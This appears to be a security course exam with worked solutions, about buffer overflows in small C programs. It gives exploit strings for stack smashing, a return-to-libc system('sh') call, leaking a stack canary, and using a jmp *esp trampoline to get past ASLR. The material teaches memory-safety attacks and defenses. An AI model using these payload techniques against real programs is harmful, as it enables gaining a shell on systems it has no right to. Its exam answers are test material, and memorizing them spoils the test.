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Q1 Echo, Echo, Echo (20 points)
Consider the following vulnerable C code:

1 # include < s t d i o . h>
2 # include < s t d l i b . h>
3
4 char name [ 3 2 ] ;
5
6 void echo ( void ) {
7 char e cho_ s t r [ 1 6 ] ;
8 p r i n t f ( "What do you want me to echo back ? \ n " ) ;
9 g e t s ( e c h o_ s t r ) ;
10 p r i n t f ( "%s \ n " , e c h o _ s t r ) ;
11 }
12
13 in t main ( void ) {
14 p r i n t f ( "What ’ s your name ? \ n " ) ;
15 f r e a d ( name , 1 , 3 2 , s t d i n ) ;
16 p r i n t f ( " Hi %s \ n " , name ) ;
17
18 while ( 1 ) {
19 echo ( ) ;
20 }
21
22 return 0 ;
23 }

The declarations of the used functions are as given below.

1 / / e x e c u t e t h e sy s t em command s p e c i f i e d i n ’ command ’ .
2 in t system ( const char ∗ command ) ;

Assume you are on a little-endian 32-bit x86 system. Assume that there is no compiler padding or
additional saved registers in all questions.

This content is protected and may not be shared, uploaded, or distributed.
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Q1.1 (2 points) Assume that execution has reached line 8. Fill in the following stack diagram. Assume
that each row represents 4 bytes.

Stack
1
2

RIP of echo
SFP of echo

3
4

(A) (1) - RIP of main; (2) - SFP of main; (3) - echo_str[0]; (4) - echo_str[4]

(B) (1) - SFP of main; (2) - RIP of main; (3) - echo_str[0]; (4) - echo_str[4]

(C) (1) - RIP of main; (2) - SFP of main; (3) - echo_str[12]; (4) - echo_str[8]

(D)

(E)

(F)

Solution: The first two items on the stack are the RIP and SFP of main, respectively. Since
the stack grows down, lower addresses are at the bottom of the diagram, and arrays are filled
from lower addresses to higher addresses and are zero-indexed. As such, row (3) contains
echo_str[12], and row (4) contains echo_str[8].

Q1.2 (3 points) Using GDB, you find that the address of the RIP of echo is 0x9ff61fc4.

Construct an input to gets that would cause the program to execute malicious shellcode. Write
your answer in Python syntax (like in Project 1). You may reference SHELLCODE as a 16-byte
shellcode.

Solution: Where to put the SHELLCODE does not matter. This is a simple stack-smashing
attack: we want to redirect execution to SHELLCODE when the echo function returns.

Approach 1: Place the Shellcode in the Buffer

SHELLCODE + 'A' * 4 + '\xb0\x1f\xf6\x9f'

Approach 2: Place the Shellcode above the RIP

'A' * 20 + '\xc8\x1f\xf6\x9f' + SHELLCODE

There may be a few other correct answers here (with the shellcode placed at slightly different
offsets within the buffer or above the RIP), but these are the most common.

This content is protected and may not be shared, uploaded, or distributed.
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Q1.3 (4 points) Which of the following defenses on their own would prevent an attacker from executing
the exploit above? Select all that apply.

(A) Stack canaries

(B) Pointer authentication

(C) Non-executable pages

(D) ASLR

(E) None of the above

(F)

Solution: Stack canaries defend against this attack because we are consecutively writing
from the local variables to the RIP. The canary would be checked when the echo function
returns, and because we don’t have a way to leak the value of the canary in our exploit, canaries
effectively stop our exploit from succeeding.

Non-executable pages defend against our exploit by preventing the shellcode on the stack (a
write-not-execute region of memory) from being executed.

If ASLR were enabled, we wouldn’t be able to reliably find the address of the RIP - it would
change every time! We’d have to use one of our special attacks specifically for ASLR to bypass
this (e.g. ROP). As such, ASLR stops our original exploit from succeeding.

Pointer authentication would require us to forge a valid pointer authentication code along
with our new RIP. We don’t have a way to do this, so pointer authentication stops our exploit
from succeeding.

Note: we received a handful of questions asking if the "Pointer Authentication" answer choice was
referring to a 32-bit system, which is what was stated in the prologue of this question, or a 64-bit
system, which is what we originally intended. As such, we awarded credit for both answer choices.

This content is protected and may not be shared, uploaded, or distributed.
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Q1.4 (5 points) Assume that non-executable pages are enabled so we cannot execute SHELLCODE on
stack.Wewould like to exploit the system(char *command) function to start a shell. This function
executes the string pointed to by command as a shell command. For example, system("ls") will
list files in the current directory.

Construct an input to gets that would cause the program to execute the function call
system("sh"). Assume that the address of system is 0xdeadbeef and that the address of the
RIP of echo is 0x9ff61fc4. Write your answer in Python syntax (like in Project 1).

Hint: Recall that a return-to-libc attack relies on setting up the stack so that, when the program pops
off and jumps to the RIP, the stack is set up in a way that looks like the function was called with a
particular argument.

Solution: Our goal is to make echo return to the system function by changing the RIP of
echo to the address of system. When echo returns to system, the stack should look like the
stack diagram below, because by calling convention the callee expects its arguments and its
RIP to be pushed onto the stack by the caller. It’s the callee’s responsibility to push the
SFP onto the stack as its first step.

Therefore we need to first place garbage bytes from the beginning of name up to the
RIP of echo ('A' * 20) and replace the RIP of echo with the address of system
('\xef\xbe\xad\xde') so that echo will return to system. Now, we want to create the
stack diagram above to make the stack in line with what the system method expects. Thus,
we add four bytes of garbage where the system method expects RIP of system to be. Note
that, RIP of system is the address that system method will return to. Then, we place the
address of "sh" at the location where system expects an argument, and place the string "sh" at
that location (which is 8 bytes above the RIP of system).

Stack
command (pointer to "sh")
(Expected) RIP of system

As such, our exploit may look something like the following:

'A' * 20 + '\xef\xbe\xad\xde' + 'B' * 4 + '\xd0\x1f\xf6\x9f'
+ 'sh' + '\x00'

NOTE: Since the stack below the RIP of echo will get invalidated (because it’s below the
ESP) after echo returns, we cannot make any assumptions about whether the values placed
there would remain as is. Therefore, you should not place the string "sh" in name.

This content is protected and may not be shared, uploaded, or distributed.
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Q1.5 (6 points) Assume that, in addition to non-executable pages, ASLR is also enabled. However,
addresses of global variables are not randomized.

Is it still possible to exploit this program and execute malicious shellcode?

(A) Yes, because you can find the address of both name and system

(B) Yes, because ASLR preserves the relative ordering of items on the stack

(C) No, because non-executable pages means that you can’t start a shell

(D) No, because ASLR will randomize the code section of memory

(E)

(F)

Solution: If ASLR is enabled, the address of system, a line of code in the code section of
memory, will be randomized each time the program is run. Because our exploit uses this
address, ASLR will effectively prevent us from using our approach!

This content is protected and may not be shared, uploaded, or distributed.
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Q2 The Way You Look Tonight (20 points)
Consider the following vulnerable C code:

1 typedef s t ruc t {
2 char mon [ 1 6 ] ;
3 char chan [ 1 6 ] ;
4 } duo ;
5
6 void t h i r d _whee l ( char ∗ puppet , F ILE ∗ f ) {
7 duo mondler ;
8 duo r i c h a r d ;
9 f g e t s ( r i c h a r d . mon , 16 , f ) ;
10 s t r c p y ( r i c h a r d . chan , puppet ) ;
11 i n t 8 _ t a l i a s = 0 ;
12 s i z e _ t coun t e r = 0 ;
13
14 while ( ! r i c h a r d . mon [ 1 5 ] && r i c h a r d . mon [ 0 ] ) {
15 s i z e _ t index = coun t e r / 1 0 ;
16 i f ( mondler . mon[ index ] == ’A ’ ) {
17 mondler . mon[ index ] = 0 ;
18 }
19 a l i a s ++ ;
20 coun t e r ++ ;
21 i f ( c oun t e r == ___ | | c oun t e r == ___ ) {
22 r i c h a r d . chan [ a l i a s ] = mondler . mon[ a l i a s ] ;
23 }
24 }
25
26 p r i n t f ( "%s \ n " , r i c h a r d . mon ) ;
27 f f l u s h ( s t d ou t ) ; / / no memory s a f e t y v u l n e r a b i l i t i e s on t h i s l i n e
28 }
29
30 void v a l e n t i n e ( char ∗ t ape [ 2 ] , F ILE ∗ f ) {
31 in t song = 0 ;
32 while ( song < 2 ) {
33 r e ad_ i npu t ( t ape [ song ] ) ; / / memory− s a f e f u n c t i o n , s e e be l ow
34 th i r d _whee l ( t ape [ song ] , f ) ;
35 song ++ ;
36 }
37 }

This content is protected and may not be shared, uploaded, or distributed.
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For all of the subparts, here are a few tools you can use:

• You run GDB once, and discover that the address of the RIP of third_wheel is 0xffffcd84.

• For your inputs, you may use SHELLCODE as a 100-byte shellcode.

• The number 0xe4ff exists in memory at address 0x8048773. The number 0xe4ff is interpreted
as jmp *esp in x86.

• If needed, you may use standard output as OUTPUT, slicing it using Python 2 syntax.

Assume that:

• You are on a little-endian 32-bit x86 system.

• There is no other compiler padding or saved additional registers.

• main calls valentine with the appropriate arguments.

• Stack canaries are enabled and no other no memory safety defenses are enabled.

• The stack canary is four completely random bytes (no null byte).

• read_input(buf) is a memory-safe function that writes to buf without any overflows.

Write your exploits in Python 2 syntax (just like in Project 1).

This content is protected and may not be shared, uploaded, or distributed.
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Q2.1 Fill in the following stack diagram, assuming that the program is paused at Line 14. Each row
should contain a struct member, local variable, the SFP of third_wheel, or canary (the value in
each row does not have to be four bytes long).

Stack

Solution: Stack diagram:

RIP of third_wheel
SFP of third_wheel
Stack Canary
mondler.chan
mondler.mon
richard.chan
richard.mon
alias
counter

This content is protected and may not be shared, uploaded, or distributed.
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Q2.2 In the first call to third_wheel, we want to leak the value of the stack canary. What should be
the missing values at line 21 in order to make this exploit possible?

Provide a decimal integer in each box.

Solution: 255

Solution: 47

Solution: Both fgets and strcpy insert a null byte at the end of their inputs, so we need
to overwrite the null bytes that are located at richard.mon[15] and mondler.chan[15]
(since we can use strcpy to write more than 16 bytes into richard.chan). Since alias is a
signed value, we can use 255 to overwrite the null byte in the richard.mon buffer, and 47 to
overwrite the null byte in the mondler.chan buffer.

For the rest of the question, assume that ASLR is enabled in addition to stack canaries. Assume that
the code section of memory has not been randomized.

Q2.3 Provide an input to each of the lines below in order to leak the stack canary in the first call to
third_wheel. If you don’t need an input, you must write “Not Needed”.

Provide a string value for tape[0]:

Solution: ’B’ * 47

Provide an input to fgets in third_wheel:

Solution: ’B’ * x where x is any value greater than or equal to 15

Q2.4 Provide an input to each of the lines below in order to run the malicious shellcode in the second
call to third_wheel. If you don’t need an input, you must write “Not Needed”.

Provide a string value for tape[1]:

Solution: ’B’ * 48 + OUTPUT[64:68] + ’B’*4 + ’\x73\x87\x04\x08’ + SHELLCODE

Provide an input to fgets in third_wheel:

Solution: \x00 or ’B’ * x where x is any value greater than or equal to 15

Solution: The solution to 9.5 and 9.6 follow the same logic as 9.3 and 9.4, except that we
replace the address of (RIP+4) with the address of the jmp *esp instruction since ASLR is
enabled.

This content is protected and may not be shared, uploaded, or distributed.
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